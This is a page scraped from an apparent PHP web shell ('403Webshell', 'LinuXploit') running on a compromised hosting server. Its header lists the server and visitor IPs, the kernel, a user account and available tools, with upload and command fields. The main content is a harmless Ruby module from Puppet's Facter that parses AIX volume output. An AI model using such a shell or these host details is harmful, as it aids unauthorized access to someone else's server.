403Webshell
Server IP : 172.67.158.161  /  Your IP : 18.118.19.207
Web Server : LiteSpeed
System : Linux business53.web-hosting.com 4.18.0-553.lve.el8.x86_64 #1 SMP Mon May 27 15:27:34 UTC 2024 x86_64
User : giankuin ( 1871)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /opt/puppetlabs/puppet/lib/ruby/vendor_ruby/facter/util/aix/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /opt/puppetlabs/puppet/lib/ruby/vendor_ruby/facter/util/aix/info_extractor.rb
# frozen_string_literal: true

module Facter
  module Util
    module Aix
      module InfoExtractor
        MEGABYTES_EXPONENT = 1024**2
        GIGABYTES_EXPONENT = 1024**3
        PROPERTIES = {
          lslv: [
            'LOGICAL VOLUME:',
            'VOLUME GROUP:',
            'LV IDENTIFIER:',
            'PERMISSION:',
            'VG STATE:',
            'LV STATE:',
            'TYPE:',
            'WRITE VERIFY:',
            'MAX LPs:',
            'PP SIZE:',
            'COPIES:',
            'SCHED POLICY:',
            'LPs:',
            'PPs:',
            'STALE PPs:',
            'BB POLICY:',
            'INTER-POLICY:',
            'RELOCATABLE:',
            'INTRA-POLICY:',
            'UPPER BOUND:',
            'MOUNT POINT:',
            'LABEL:',
            'MIRROR WRITE CONSISTENCY:',
            'EACH LP COPY ON A SEPARATE PV ?:',
            'Serialize IO ?:'
          ],
          lspv: [
            'PHYSICAL VOLUME:',
            'VOLUME GROUP:',
            'PV IDENTIFIER:',
            'VG IDENTIFIER',
            'PV STATE:',
            'STALE PARTITIONS:',
            'ALLOCATABLE:',
            'PP SIZE:',
            'LOGICAL VOLUMES:',
            'TOTAL PPs:',
            'VG DESCRIPTORS:',
            'FREE PPs:',
            'HOT SPARE:',
            'USED PPs:',
            'MAX REQUEST:',
            'FREE DISTRIBUTION:',
            'USED DISTRIBUTION:',
            'MIRROR POOL:'
          ]
        }.freeze

        def self.extract(content, cmd)
          property_hash = {}
          properties = PROPERTIES[cmd]
          properties.each do |property|
            str = (properties - [property]).join('|')
            matcher = content.match(/(?:^|^[^:]+:[^:]+)#{Regexp.escape(property)}([^\n]*?)(#{str}|\n|$)/s)
            if matcher
              value = matcher[1].strip
              property_hash[property.split(':').first] = value
            end
          end
          property_hash
        end
      end
    end
  end
end

Youez - 2016 - github.com/yon3zu
LinuXploit